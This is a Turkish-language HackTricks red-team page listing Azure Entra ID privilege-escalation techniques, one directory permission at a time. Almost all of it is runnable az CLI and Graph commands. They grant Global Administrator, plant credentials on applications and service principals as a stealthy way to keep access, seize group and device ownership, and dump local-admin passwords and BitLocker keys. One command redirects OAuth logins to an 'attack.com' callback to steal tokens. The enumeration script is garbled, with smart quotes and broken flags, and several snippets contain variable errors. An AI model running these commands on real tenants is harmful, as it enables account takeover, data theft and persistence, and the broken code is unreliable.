Az - EntraID Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Note

Entra ID’deki yerleşik rollerde bulunan tüm ayrıntılı izinlerin özel rollerde kullanılmaya uygun olmadığını unutmayın.

Roller

Rol: Privileged Role Administrator

Bu rol, principal’lara roller atayabilmek ve rollere daha fazla izin verebilmek için gerekli ayrıntılı izinleri içerir. Her iki işlem de ayrıcalık yükseltmek için kötüye kullanılabilir.

  • Bir kullanıcıya rol atamak:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Bir role daha fazla izin ekleyin:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Uygulamalar

microsoft.directory/applications/credentials/update

Bu, bir saldırganın mevcut uygulamalara kimlik bilgileri eklemesine (parolalar veya sertifikalar) olanak tanır. Uygulama ayrıcalıklı izinlere sahipse, saldırgan o uygulama olarak kimlik doğrulayabilir ve bu ayrıcalıkları elde edebilir.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Bu, applications/credentials/update ile aynı işlemlere izin verir, ancak tek dizinli uygulamalarla sınırlıdır.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Kendilerini owner olarak ekleyerek, bir saldırgan uygulamayı (kimlik bilgileri ve izinler dahil) manipüle edebilir.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Bir saldırgan, tenant içindeki kullanıcılar tarafından kullanılan uygulamalara bir redirect URI ekleyebilir ve ardından yeni redirect URL’sini kullanan oturum açma URL’lerini onlarla paylaşarak token’larını çalabilir. Kullanıcı zaten uygulamada oturum açmışsa, kimlik doğrulama kullanıcı herhangi bir şeyi onaylamasına gerek kalmadan otomatik olarak gerçekleşecektir.

Ayrıca uygulamanın daha fazla izin almak için talep ettiği permissions’ları değiştirmek de mümkündür; ancak bu durumda kullanıcı tüm izinleri isteyen istemi tekrar kabul etmek zorunda kalacaktır.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

Bu gönderide açıklandığı gibi varsayılan uygulamaların Entra ID kiracılarında Application türünde API permissions ile atanmış olmaları çok yaygındı. Entra ID konsolunda “API Permission” olarak adlandırılan, Application türünde bir API Permission, uygulamanın kullanıcı bağlamı olmadan (uygulamaya bir kullanıcı giriş yapmadan) API’ye erişip işlemler gerçekleştirmesine izin verir ve bunun için Entra ID rolleri gerekmez. Bu yüzden her Entra ID tenant’ında yüksek ayrıcalıklı uygulamalar bulmak çok yaygındır.

Eğer bir saldırganın uygulamanın kimlik bilgilerini (secret o certificate) güncellemesine izin veren herhangi bir izin/rolü varsa, saldırgan yeni bir kimlik bilgisi oluşturup bunu kullanarak uygulama olarak kimlik doğrulayabilir ve uygulamanın sahip olduğu tüm izinleri elde edebilir.

Bahsedilen blog bazı ortak Microsoft varsayılan uygulamalarının API permissions’larını paylaşıyordu; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltti ve artık Microsoft uygulamaları olarak giriş yapmak mümkün değil. Yine de suistimal edilebilecek yüksek ayrıcalıklara sahip özel uygulamalar bulmak hâlâ mümkün.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Tüm uygulamaların API izinlerini bulun ve Microsoft tarafından sağlanan API'leri işaretleyin ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Bu, bir attacker'ın mevcut service principals'a credentials eklemesine izin verir. Eğer service principal elevated privileges'e sahipse, attacker bu privileges'ları üstlenebilir.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Oluşturulan yeni parola web konsolunda görünmeyecek, bu yüzden bu, bir service principal üzerinde persistence sağlamak için gizli bir yol olabilir.
API üzerinden şu komutla bulunabilirler: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Eğer "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." hatasını alırsanız bunun nedeni passwordCredentials özelliğini değiştirmek mümkün değildir ve önce kilidini açmanız gerekir. Bunun için microsoft.directory/applications/allProperties/update iznine ihtiyacınız vardır; bu izin size şunu yürütme olanağı tanır:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Bu izin, bir saldırganın mevcut service principals içinde credentials eklemesine olanak tanır. Eğer ilgili service principal yüksek ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Uygulamalara benzer şekilde, bu izin bir service principal’a daha fazla sahip eklemeyi sağlar. Bir service principal’ın sahibi olmak, onun kimlik bilgileri ve izinleri üzerinde kontrol sağlar.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Yeni bir sahip ekledikten sonra onu kaldırmayı denedim, ancak API, sahibini silmek için kullanmanız gereken yöntem olmasına rağmen DELETE yönteminin desteklenmediğini belirtti. Yani artık sahipleri kaldıramıyorsunuz.

microsoft.directory/servicePrincipals/disable ve enable

Bu izinler service principals’ları devre dışı bırakmaya ve etkinleştirmeye izin verir. Bir saldırgan, bir şekilde erişim sağlayabileceği bir service principal’ı etkinleştirmek için bu izni kullanarak ayrıcalıkları yükseltebilir.

Bu teknik için saldırganın etkinleştirilen service principal’ı ele geçirmek amacıyla daha fazla izne ihtiyaç duyacağını unutmayın.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Bu izinler single sign-on için kimlik bilgileri oluşturup almaya izin verir; bu da üçüncü taraf uygulamalara erişim sağlayabilir.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Gruplar

microsoft.directory/groups/allProperties/update

Bu izin, ayrıcalıklı gruplara kullanıcı eklemeye izin verir; bu da privilege escalation ile sonuçlanır.

az ad group member add --group <GroupName> --member-id <UserId>

Not: Bu izin Entra ID role-assignable groups’larını kapsamaz.

microsoft.directory/groups/owners/update

Bu izin, grup sahibi olunmasına izin verir. Bir grubun sahibi, grup üyeliğini ve ayarlarını kontrol edebilir; bu da potansiyel olarak gruba privilege escalation sağlayabilir.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Not: Bu izin Entra ID role-assignable groups kapsamı dışındadır.

microsoft.directory/groups/members/update

Bu izin, bir gruba üye eklemeye olanak tanır. Bir saldırgan kendisini veya kötü niyetli hesapları ayrıcalıklı gruplara ekleyerek yetki yükseltmesi elde edebilir.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Bu izin dinamik bir gruptaki üyelik kuralını güncellemeye izin verir. Bir saldırgan dinamik kuralları değiştirerek kendini açıkça ekleme yapmadan ayrıcalıklı gruplara dahil edebilir.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Not: Bu izin Entra ID rol-atanabilir grupları hariç tutar.

Dynamic Groups Privesc

Kullanıcıların, kendi özelliklerini değiştirerek dynamic groups üyeleri olarak eklenmeye hak kazanıp escalate privileges elde etmeleri mümkün olabilir. Daha fazla bilgi için bakınız:

Az - Dynamic Groups Privesc

Kullanıcılar

microsoft.directory/users/password/update

Bu izin, admin olmayan kullanıcıların şifrelerini sıfırlamayı sağlar; bu da potansiyel bir saldırganın diğer kullanıcılara escalate privileges elde etmesine yol açabilir. Bu izin özel rollere atanamaz.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Bu yetki kullanıcının özelliklerini değiştirmesine izin verir. Özellik değerlerine göre kullanıcı ekleyen dinamik gruplar sıkça bulunduğundan, bu izin bir kullanıcının belirli bir dinamik grubun üyesi olmak için gereken özellik değerini ayarlamasına ve yetkilerini yükseltmesine olanak sağlayabilir.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

MFA gerektiren yanlış yapılandırılmış conditional access policies bypass edilebilir, incele:

Az - Conditional Access Policies & MFA Bypass

Cihazlar

microsoft.directory/devices/registeredOwners/update

Bu izin, saldırganların kendilerini cihazların sahibi olarak atamalarına ve cihazlara özgü ayarlara ve verilere erişim veya kontrol sağlamalarına olanak tanır.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Bu izin, attackers’ın hesaplarını cihazlarla ilişkilendirerek erişim elde etmelerini veya güvenlik politikalarını bypass etmelerini sağlar.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Bu izin, saldırganların Microsoft Entra’ya katılmış cihazlar için yedeklenmiş yerel yönetici hesabı kimlik bilgilerinin özelliklerini, password dahil olmak üzere, okumasına olanak tanır.

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Bu izin, BitLocker anahtarlarına erişime olanak tanır; bu da bir saldırganın sürücülerin şifresini çözmesine ve veri gizliliğini tehlikeye atmasına neden olabilir.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Diğer İlginç izinler (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin